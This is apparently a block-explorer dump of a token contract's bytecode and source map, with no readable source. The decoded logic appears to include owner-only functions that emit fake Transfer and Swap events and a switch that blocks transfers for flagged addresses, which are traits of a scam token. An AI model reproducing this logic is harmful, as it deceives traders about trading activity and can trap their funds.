1600080825260208201889052818301879052606082015290516001600160a01b0393841693909216916000805160206114258339815191529181900360800190a3600a546001600160a01b03168585838181106108a4576108a46113ac565b90506020020160208101906108b99190611205565b6001600160a01b0316600080516020611405833981519152856040516108e191815260200190565b60405180910390a3806108f3816113d8565b91505061080f565b60606007805461036d90611372565b60005b8381101561053057848482818110610927576109276113ac565b905060200201602081019061093c9190611205565b60085460408051868152600060208201819052818301526060810186905290516001600160a01b0393841693909216916000805160206114258339815191529181900360800190a3848482818110610996576109966113ac565b90506020020160208101906109ab9190611205565b600a546040518481526001600160a01b0392831692909116906000805160206114058339815191529060200160405180910390a3806109e9816113d8565b91505061090d565b600033816109ff8286610bdd565b905083811015610a645760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61057a8286868403610c81565b60005b8381101561053057848482818110610a8e57610a8e6113ac565b9050602002016020810190610aa39190611205565b60095460408051868152600060208201819052818301526060810186905290516001600160a01b0393841693909216916000805160206114258339815191529181900360800190a3600954600a546040518481526001600160a01b0392831692909116906000805160206114058339815191529060200160405180910390a3848482818110610b3457610b346113ac565b9050602002016020810190610b499190611205565b6009546040518481526001600160a01b0392831692909116906000805160206114058339815191529060200160405180910390a380610b87816113d8565b915050610a74565b6000336103fe818585610e71565b816001600160a01b0316836001600160a01b031660008051602061140583398151915283604051610bd091815260200190565b60405180910390a3505050565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610c10610d9d565b6001600160a01b038116610c755760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a5b565b610c7e81611084565b50565b6001600160a01b038316610ce35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a5b565b6001600160a01b038216610d445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a5b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610bd0565b6000546001600160a01b031633146106fd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a5b565b6000610e038484610bdd565b90506000198114610e6b5781811015610e5e5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a5b565b610e6b8484848403610c81565b50505050565b6001600160a01b038316610ed55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a5b565b6001600160a01b038216610f375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a5b565b6001600160a01b03831660009081526001602052604090205481811015610faf5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a5b565b6001600160a01b038085166000818152600160209081526040808320878703905593871682528382208054870190559181526002909152205460ff168061100e57506001600160a01b03831660009081526002602052604090205460ff165b156110445760055460ff1615156001146110445760405162461bcd60e51b81526020600482015260006024820152604401610a5b565b826001600160a01b0316846001600160a01b03166000805160206114058339815191528460405161107791815260200190565b60405180910390a3610e6b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015611101578581018301518582016040015282016110e5565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461113957600080fd5b919050565b6000806040838503121561115157600080fd5b61115a83611122565b946020939093013593505050565b60008083601f84011261117a57600080fd5b50813567ffffffffffffffff81111561119257600080fd5b6020830191508360208260051b85010111156111ad57600080fd5b9250929050565b600080600080606085870312156111ca57600080fd5b843567ffffffffffffffff8111156111e157600080fd5b6111ed87828801611168565b90989097506020870135966040013595509350505050565b60006020828403121561121757600080fd5b61122082611122565b9392505050565b60008060006060848603121561123c57600080fd5b61124584611122565b925061125360208501611122565b9150604084013590509250925092565b6000806020838503121561127657600080fd5b823567ffffffffffffffff81111561128d57600080fd5b61129985828601611168565b90969095509350505050565b600080600080600080606087890312156112be57600080fd5b863567ffffffffffffffff808211156112d657600080fd5b6112e28a838b01611168565b909850965060208901359150808211156112fb57600080fd5b6113078a838b01611168565b9096509450604089013591508082111561132057600080fd5b5061132d89828a01611168565b979a9699509497509295939492505050565b6000806040838503121561135257600080fd5b61135b83611122565b915061136960208401611122565b90509250929050565b600181811c9082168061138657607f821691505b6020821081036113a657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016113ea576113ea6113c2565b5060010190565b80820180821115610404576104046113c256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822a264697066735822122008a4ee1db4989ed6f9835de204634e39906c9e1841e31ba97fd3cc7bea8a767f64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d7146102ec578063a7dec381146102ff578063a9059cbb14610312578063beabacc814610325578063dd62ed3e14610338578063f2fde38b1461034b57600080fd5b8063715018a61461028857806377a1736b146102905780637aac697b146102a35780638da5cb5b146102b657806395d89b41146102d1578063a1c617f5146102d957600080fd5b8063313ce56711610115578063313ce567146101eb57806339509351146101fa5780633e5beab91461020d578063477e19441461023957806370a082311461024c5780637111a9941461027557600080fd5b806306fdde031461015d578063095ea7b31461017b5780630ca12b3d1461019e57806318160ddd146101b357806319ab453c146101c557806323b872dd146101d8575b600080fd5b61016561035e565b60405161017291906110d4565b60405180910390f35b61018e61018936600461113e565b6103f0565b6040519015158152602001610172565b6101b16101ac3660046111b4565b61040a565b005b6004545b604051908152602001610172565b6101b16101d3366004611205565b610537565b61018e6101e6366004611227565b610561565b60405160128152602001610172565b61018e61020836600461113e565b610585565b61018e61021b366004611205565b6001600160a01b031660009081526002602052604090205460ff1690565b6101b1610247366004611263565b6105a7565b6101b761025a366004611205565b6001600160a01b031660009081526001602052604090205490565b6101b16102833660046112a5565b610626565b6101b16106eb565b6101b161029e366004611263565b6106ff565b6101b16102b13660046111b4565b61080c565b6000546040516001600160a01b039091168152602001610172565b6101656108fb565b6101b16102e73660046111b4565b61090a565b61018e6102fa36600461113e565b6109f1565b6101b161030d3660046111b4565b610a71565b61018e61032036600461113e565b610b8f565b6101b1610333366004611227565b610b9d565b6101b761034636600461133f565b610bdd565b6101b1610359366004611205565b610c08565b60606006805461036d90611372565b80601f016020809104026020016040519081016040528092919081815260200182805461039990611372565b80156103e65780601f106103bb576101008083540402835291602001916103e6565b820191906000526020600020905b8154815290600101906020018083116103c957829003601f168201915b5050505050905090565b6000336103fe818585610c81565b60019150505b92915050565b60005b8381101561053057848482818110610427576104276113ac565b905060200201602081019061043c9190611205565b60095460408051600080825260208201889052818301879052606082015290516001600160a01b0393841693909216916000805160206114258339815191529181900360800190a36009546001600160a01b03168585838181106104a2576104a26113ac565b90506020020160208101906104b79190611205565b6001600160a01b0316600080516020611405833981519152856040516104df91815260200190565b60405180910390a3600a546009546040518581526001600160a01b0392831692909116906000805160206114058339815191529060200160405180910390a380610528816113d8565b91505061040d565b5050505050565b61053f610d9d565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60003361056f858285610df7565b61057a858585610e71565b506001949350505050565b6000336103fe8185856105988383610bdd565b6105a291906113f1565b610c81565b6105af610d9d565b60005b81811015610621576000600260008585858181106105d2576105d26113ac565b90506020020160208101906105e79190611205565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610619816113d8565b9150506105b2565b505050565b60005b858110156106e257848482818110610643576106436113ac565b90506020020160208101906106589190611205565b6001600160a01b0316878783818110610673576106736113ac565b90506020020160208101906106889190611205565b6001600160a01b03166000805160206114058339815191528585858181106106b2576106b26113ac565b905060200201356040516106c891815260200190565b60405180910390a3806106da816113d8565b915050610629565b50505050505050565b6106f3610d9d565b6106fd6000611084565b565b610707610d9d565b60005b818110156106215760016002600085858581811061072a5761072a6113ac565b905060200201602081019061073f9190611205565b6001600160a01b0390811682526020820192909252604001600020805460ff19169215159290921790915560095416838383818110610780576107806113ac565b90506020020160208101906107959190611205565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256107e98686868181106107d4576107d46113ac565b905060200201602081019061025a9190611205565b60405190815260200160405180910390a380610804816113d8565b91505061070a565b60005b8381101561053057848482818110610829576108296113ac565b905060200201602081019061083e9190611205565b60085460408051600080825260208201889052818301879052606082015290516001600160a01b0393841693909216916000805160206114258339815191529181900360800190a3600a546001600160a01b03168585838181106108a4576108a46113ac565b90506020020160208101906108b99190611205565b6001600160a01b0316600080516020611405833981519152856040516108e191815260200190565b60405180910390a3806108f3816113d8565b91505061080f565b60606007805461036d90611372565b60005b8381101561053057848482818110610927576109276113ac565b905060200201602081019061093c9190611205565b60085460408051868152600060208201819052818301526060810186905290516001600160a01b0393841693909216916000805160206114258339815191529181900360800190a3848482818110610996576109966113ac565b90506020020160208101906109ab9190611205565b600a546040518481526001600160a01b0392831692909116906000805160206114058339815191529060200160405180910390a3806109e9816113d8565b91505061090d565b600033816109ff8286610bdd565b905083811015610a645760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61057a8286868403610c81565b60005b8381101561053057848482818110610a8e57610a8e6113ac565b9050602002016020810190610aa39190611205565b60095460408051868152600060208201819052818301526060810186905290516001600160a01b0393841693909216916000805160206114258339815191529181900360800190a3600954600a546040518481526001600160a01b0392831692909116906000805160206114058339815191529060200160405180910390a3848482818110610b3457610b346113ac565b9050602002016020810190610b499190611205565b6009546040518481526001600160a01b0392831692909116906000805160206114058339815191529060200160405180910390a380610b87816113d8565b915050610a74565b6000336103fe818585610e71565b816001600160a01b0316836001600160a01b031660008051602061140583398151915283604051610bd091815260200190565b60405180910390a3505050565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610c10610d9d565b6001600160a01b038116610c755760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a5b565b610c7e81611084565b50565b6001600160a01b038316610ce35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a5b565b6001600160a01b038216610d445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a5b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610bd0565b6000546001600160a01b031633146106fd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a5b565b6000610e038484610bdd565b90506000198114610e6b5781811015610e5e5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a5b565b610e6b8484848403610c81565b50505050565b6001600160a01b038316610ed55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a5b565b6001600160a01b038216610f375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a5b565b6001600160a01b03831660009081526001602052604090205481811015610faf5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a5b565b6001600160a01b038085166000818152600160209081526040808320878703905593871682528382208054870190559181526002909152205460ff168061100e57506001600160a01b03831660009081526002602052604090205460ff165b156110445760055460ff1615156001146110445760405162461bcd60e51b81526020600482015260006024820152604401610a5b565b826001600160a01b0316846001600160a01b03166000805160206114058339815191528460405161107791815260200190565b60405180910390a3610e6b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015611101578581018301518582016040015282016110e5565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461113957600080fd5b919050565b6000806040838503121561115157600080fd5b61115a83611122565b946020939093013593505050565b60008083601f84011261117a57600080fd5b50813567ffffffffffffffff81111561119257600080fd5b6020830191508360208260051b85010111156111ad57600080fd5b9250929050565b600080600080606085870312156111ca57600080fd5b843567ffffffffffffffff8111156111e157600080fd5b6111ed87828801611168565b90989097506020870135966040013595509350505050565b60006020828403121561121757600080fd5b61122082611122565b9392505050565b60008060006060848603121561123c57600080fd5b61124584611122565b925061125360208501611122565b9150604084013590509250925092565b6000806020838503121561127657600080fd5b823567ffffffffffffffff81111561128d57600080fd5b61129985828601611168565b90969095509350505050565b600080600080600080606087890312156112be57600080fd5b863567ffffffffffffffff808211156112d657600080fd5b6112e28a838b01611168565b909850965060208901359150808211156112fb57600080fd5b6113078a838b01611168565b9096509450604089013591508082111561132057600080fd5b5061132d89828a01611168565b979a9699509497509295939492505050565b6000806040838503121561135257600080fd5b61135b83611122565b915061136960208401611122565b90509250929050565b600181811c9082168061138657607f821691505b6020821081036113a657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016113ea576113ea6113c2565b5060010190565b80820180821115610404576104046113c256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822a264697066735822122008a4ee1db4989ed6f9835de204634e39906c9e1841e31ba97fd3cc7bea8a767f64736f6c63430008120033

Deployed Bytecode Sourcemap

24679:141:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11099:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15757:201;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;15757:201:0;1004:187:1;13423:343:0;;;;;;:::i;:::-;;:::i;:::-;;14526:108;14614:12;;14526:108;;;2292:25:1;;;2280:2;2265:18;14526:108:0;2146:177:1;10951:78:0;;;;;;:::i;:::-;;:::i;16538:295::-;;;;;;:::i;:::-;;:::i;12061:93::-;;;12144:2;2994:36:1;;2982:2;2967:18;12061:93:0;2852:184:1;17242:238:0;;;;;;:::i;:::-;;:::i;14353:108::-;;;;;;:::i;:::-;-1:-1:-1;;;;;14436:17:0;14412:4;14436:17;;;:6;:17;;;;;;;;;14353:108;14142:203;;;;;;:::i;:::-;;:::i;14697:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;14798:18:0;14771:7;14798:18;;;:9;:18;;;;;;;14697:127;13901:233;;;;;;:::i;:::-;;:::i;7946:103::-;;;:::i;12162:269::-;;;;;;:::i;:::-;;:::i;13123:292::-;;;;;;:::i;:::-;;:::i;7305:87::-;7351:7;7378:6;7305:87;;-1:-1:-1;;;;;7378:6:0;;;4722:51:1;;4710:2;4695:18;7305:87:0;4576:203:1;11318:104:0;;;:::i;12439:291::-;;;;;;:::i;:::-;;:::i;17983:436::-;;;;;;:::i;:::-;;:::i;12738:377::-;;;;;;:::i;:::-;;:::i;15030:193::-;;;;;;:::i;:::-;;:::i;13774:119::-;;;;;;:::i;:::-;;:::i;15286:151::-;;;;;;:::i;:::-;;:::i;8204:201::-;;;;;;:::i;:::-;;:::i;11099:100::-;11153:13;11186:5;11179:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11099:100;:::o;15757:201::-;15840:4;6094:10;15896:32;6094:10;15912:7;15921:6;15896:8;:32::i;:::-;15946:4;15939:11;;;15757:201;;;;;:::o;13423:343::-;13539:9;13534:225;13554:22;;;13534:225;;;13631:11;;13643:1;13631:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;13608:4;;13603:43;;;13608:4;5813:25:1;;;5869:2;5854:18;;5847:34;;;5897:18;;;5890:34;;;5955:2;5940:18;;5933:34;13603:43:0;;-1:-1:-1;;;;;13603:43:0;;;;13608:4;;;;-1:-1:-1;;;;;;;;;;;13603:43:0;;;;5800:3:1;13603:43:0;;;13691:4;;-1:-1:-1;;;;;13691:4:0;13675:11;;13687:1;13675:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13666:35:0;-1:-1:-1;;;;;;;;;;;13697:3:0;13666:35;;;;2292:25:1;;2280:2;2265:18;;2146:177;13666:35:0;;;;;;;;13736:5;;13730:4;;13721:26;;2292:25:1;;;-1:-1:-1;;;;;13736:5:0;;;;13730:4;;;;-1:-1:-1;;;;;;;;;;;13721:26:0;2280:2:1;2265:18;13721:26:0;;;;;;;13578:3;;;;:::i;:::-;;;;13534:225;;;;13423:343;;;;:::o;10951:78::-;7191:13;:11;:13::i;:::-;11009:5:::1;:12:::0;;-1:-1:-1;;;;;;11009:12:0::1;-1:-1:-1::0;;;;;11009:12:0;;;::::1;::::0;;;::::1;::::0;;10951:78::o;16538:295::-;16669:4;6094:10;16727:38;16743:4;6094:10;16758:6;16727:15;:38::i;:::-;16776:27;16786:4;16792:2;16796:6;16776:9;:27::i;:::-;-1:-1:-1;16821:4:0;;16538:295;-1:-1:-1;;;;16538:295:0:o;17242:238::-;17330:4;6094:10;17386:64;6094:10;17402:7;17439:10;17411:25;6094:10;17402:7;17411:9;:25::i;:::-;:38;;;;:::i;:::-;17386:8;:64::i;14142:203::-;7191:13;:11;:13::i;:::-;14237:9:::1;14232:106;14252:22:::0;;::::1;14232:106;;;14321:5;14296:6;:22;14303:11;;14315:1;14303:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14296:22:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;14296:22:0;:30;;-1:-1:-1;;14296:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14276:3;::::1;::::0;::::1;:::i;:::-;;;;14232:106;;;;14142:203:::0;;:::o;13901:233::-;14022:9;14017:110;14037:16;;;14017:110;;;14099:3;;14103:1;14099:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14080:35:0;14089:5;;14095:1;14089:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14080:35:0;-1:-1:-1;;;;;;;;;;;14107:4:0;;14112:1;14107:7;;;;;;;:::i;:::-;;;;;;;14080:35;;;;2292:25:1;;2280:2;2265:18;;2146:177;14080:35:0;;;;;;;;14055:3;;;;:::i;:::-;;;;14017:110;;;;13901:233;;;;;;:::o;7946:103::-;7191:13;:11;:13::i;:::-;8011:30:::1;8038:1;8011:18;:30::i;:::-;7946:103::o:0;12162:269::-;7191:13;:11;:13::i;:::-;12247:9:::1;12242:182;12262:22:::0;;::::1;12242:182;;;12331:4;12306:6;:22;12313:11;;12325:1;12313:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12306:22:0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;12306:22:0;:29;;-1:-1:-1;;12306:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;12380:4:::1;::::0;::::1;12364:11:::0;;12376:1;12364:14;;::::1;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12355:57:0::1;;12386:25;12396:11;;12408:1;12396:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;12386:25::-;12355:57;::::0;2292:25:1;;;2280:2;2265:18;12355:57:0::1;;;;;;;12286:3:::0;::::1;::::0;::::1;:::i;:::-;;;;12242:182;;13123:292:::0;13227:9;13222:186;13242:22;;;13222:186;;;13325:11;;13337:1;13325:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;13296:10;;13291:49;;;13296:10;5813:25:1;;;5869:2;5854:18;;5847:34;;;5897:18;;;5890:34;;;5955:2;5940:18;;5933:34;13291:49:0;;-1:-1:-1;;;;;13291:49:0;;;;13296:10;;;;-1:-1:-1;;;;;;;;;;;13291:49:0;;;;5800:3:1;13291:49:0;;;13385:5;;-1:-1:-1;;;;;13385:5:0;13369:11;;13381:1;13369:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13360:36:0;-1:-1:-1;;;;;;;;;;;13392:3:0;13360:36;;;;2292:25:1;;2280:2;2265:18;;2146:177;13360:36:0;;;;;;;;13266:3;;;;:::i;:::-;;;;13222:186;;11318:104;11374:13;11407:7;11400:14;;;;;:::i;12439:291::-;12541:9;12536:187;12556:22;;;12536:187;;;12639:11;;12651:1;12639:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;12610:10;;12605:49;;;5813:25:1;;;12610:10:0;5869:2:1;5854:18;;5847:34;;;5897:18;;;5890:34;5955:2;5940:18;;5933:34;;;12605:49:0;;-1:-1:-1;;;;;12605:49:0;;;;12610:10;;;;-1:-1:-1;;;;;;;;;;;12605:49:0;;;;5800:3:1;12605:49:0;;;12690:11;;12702:1;12690:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;12683:5;;12674:37;;2292:25:1;;;-1:-1:-1;;;;;12674:37:0;;;;12683:5;;;;-1:-1:-1;;;;;;;;;;;12674:37:0;2280:2:1;2265:18;12674:37:0;;;;;;;12580:3;;;;:::i;:::-;;;;12536:187;;17983:436;18076:4;6094:10;18076:4;18159:25;6094:10;18176:7;18159:9;:25::i;:::-;18132:52;;18223:15;18203:16;:35;;18195:85;;;;-1:-1:-1;;;18195:85:0;;6994:2:1;18195:85:0;;;6976:21:1;7033:2;7013:18;;;7006:30;7072:34;7052:18;;;7045:62;-1:-1:-1;;;7123:18:1;;;7116:35;7168:19;;18195:85:0;;;;;;;;;18316:60;18325:5;18332:7;18360:15;18341:16;:34;18316:8;:60::i;12738:377::-;12886:9;12881:227;12901:22;;;12881:227;;;12978:11;;12990:1;12978:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;12955:4;;12950:43;;;5813:25:1;;;12955:4:0;5869:2:1;5854:18;;5847:34;;;5897:18;;;5890:34;5955:2;5940:18;;5933:34;;;12950:43:0;;-1:-1:-1;;;;;12950:43:0;;;;12955:4;;;;-1:-1:-1;;;;;;;;;;;12950:43:0;;;;5800:3:1;12950:43:0;;;13029:4;;13022:5;;13013:27;;2292:25:1;;;-1:-1:-1;;;;;13029:4:0;;;;13022:5;;;;-1:-1:-1;;;;;;;;;;;13013:27:0;2280:2:1;2265:18;13013:27:0;;;;;;;13075:11;;13087:1;13075:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;13069:4;;13060:36;;2292:25:1;;;-1:-1:-1;;;;;13060:36:0;;;;13069:4;;;;-1:-1:-1;;;;;;;;;;;13060:36:0;2280:2:1;2265:18;13060:36:0;;;;;;;12925:3;;;;:::i;:::-;;;;12881:227;;15030:193;15109:4;6094:10;15165:28;6094:10;15182:2;15186:6;15165:9;:28::i;13774:119::-;13875:3;-1:-1:-1;;;;;13859:26:0;13868:5;-1:-1:-1;;;;;13859:26:0;-1:-1:-1;;;;;;;;;;;13880:4:0;13859:26;;;;2292:25:1;;2280:2;2265:18;;2146:177;13859:26:0;;;;;;;;13774:119;;;:::o;15286:151::-;-1:-1:-1;;;;;15402:18:0;;;15375:7;15402:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15286:151::o;8204:201::-;7191:13;:11;:13::i;:::-;-1:-1:-1;;;;;8293:22:0;::::1;8285:73;;;::::0;-1:-1:-1;;;8285:73:0;;7400:2:1;8285:73:0::1;::::0;::::1;7382:21:1::0;7439:2;7419:18;;;7412:30;7478:34;7458:18;;;7451:62;-1:-1:-1;;;7529:18:1;;;7522:36;7575:19;;8285:73:0::1;7198:402:1::0;8285:73:0::1;8369:28;8388:8;8369:18;:28::i;:::-;8204:201:::0;:::o;22089:380::-;-1:-1:-1;;;;;22225:19:0;;22217:68;;;;-1:-1:-1;;;22217:68:0;;7807:2:1;22217:68:0;;;7789:21:1;7846:2;7826:18;;;7819:30;7885:34;7865:18;;;7858:62;-1:-1:-1;;;7936:18:1;;;7929:34;7980:19;;22217:68:0;7605:400:1;22217:68:0;-1:-1:-1;;;;;22304:21:0;;22296:68;;;;-1:-1:-1;;;22296:68:0;;8212:2:1;22296:68:0;;;8194:21:1;8251:2;8231:18;;;8224:30;8290:34;8270:18;;;8263:62;-1:-1:-1;;;8341:18:1;;;8334:32;8383:19;;22296:68:0;8010:398:1;22296:68:0;-1:-1:-1;;;;;22377:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;22429:32;;2292:25:1;;;22429:32:0;;2265:18:1;22429:32:0;2146:177:1;7470:132:0;7351:7;7378:6;-1:-1:-1;;;;;7378:6:0;6094:10;7534:23;7526:68;;;;-1:-1:-1;;;7526:68:0;;8615:2:1;7526:68:0;;;8597:21:1;;;8634:18;;;8627:30;8693:34;8673:18;;;8666:62;8745:18;;7526:68:0;8413:356:1;22760:453:0;22895:24;22922:25;22932:5;22939:7;22922:9;:25::i;:::-;22895:52;;-1:-1:-1;;22962:16:0;:37;22958:248;;23044:6;23024:16;:26;;23016:68;;;;-1:-1:-1;;;23016:68:0;;8976:2:1;23016:68:0;;;8958:21:1;9015:2;8995:18;;;8988:30;9054:31;9034:18;;;9027:59;9103:18;;23016:68:0;8774:353:1;23016:68:0;23128:51;23137:5;23144:7;23172:6;23153:16;:25;23128:8;:51::i;:::-;22884:329;22760:453;;;:::o;18889:919::-;-1:-1:-1;;;;;19020:18:0;;19012:68;;;;-1:-1:-1;;;19012:68:0;;9334:2:1;19012:68:0;;;9316:21:1;9373:2;9353:18;;;9346:30;9412:34;9392:18;;;9385:62;-1:-1:-1;;;9463:18:1;;;9456:35;9508:19;;19012:68:0;9132:401:1;19012:68:0;-1:-1:-1;;;;;19099:16:0;;19091:64;;;;-1:-1:-1;;;19091:64:0;;9740:2:1;19091:64:0;;;9722:21:1;9779:2;9759:18;;;9752:30;9818:34;9798:18;;;9791:62;-1:-1:-1;;;9869:18:1;;;9862:33;9912:19;;19091:64:0;9538:399:1;19091:64:0;-1:-1:-1;;;;;19241:15:0;;19219:19;19241:15;;;:9;:15;;;;;;19275:21;;;;19267:72;;;;-1:-1:-1;;;19267:72:0;;10144:2:1;19267:72:0;;;10126:21:1;10183:2;10163:18;;;10156:30;10222:34;10202:18;;;10195:62;-1:-1:-1;;;10273:18:1;;;10266:36;10319:19;;19267:72:0;9942:402:1;19267:72:0;-1:-1:-1;;;;;19375:15:0;;;;;;;:9;:15;;;;;;;;19393:20;;;19375:38;;19593:13;;;;;;;;:23;;;;;;19642:12;;;:6;:12;;;;;;;;:26;;-1:-1:-1;;;;;;19658:10:0;;;;;;:6;:10;;;;;;;;19642:26;19638:66;;;19678:13;;;;:21;;:13;:21;19670:34;;;;-1:-1:-1;;;19670:34:0;;10551:2:1;19670:34:0;;;10533:21:1;-1:-1:-1;10570:18:1;;;10563:29;10609:18;;19670:34:0;10349:284:1;19670:34:0;19739:2;-1:-1:-1;;;;;19724:26:0;19733:4;-1:-1:-1;;;;;19724:26:0;-1:-1:-1;;;;;;;;;;;19743:6:0;19724:26;;;;2292:25:1;;2280:2;2265:18;;2146:177;19724:26:0;;;;;;;;19763:37;14142:203;8565:191;8639:16;8658:6;;-1:-1:-1;;;;;8675:17:0;;;-1:-1:-1;;;;;;8675:17:0;;;;;;8708:40;;8658:6;;;;;;;8708:40;;8639:16;8708:40;8628:128;8565:191;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1196:367::-;1259:8;1269:6;1323:3;1316:4;1308:6;1304:17;1300:27;1290:55;;1341:1;1338;1331:12;1290:55;-1:-1:-1;1364:20:1;;1407:18;1396:30;;1393:50;;;1439:1;1436;1429:12;1393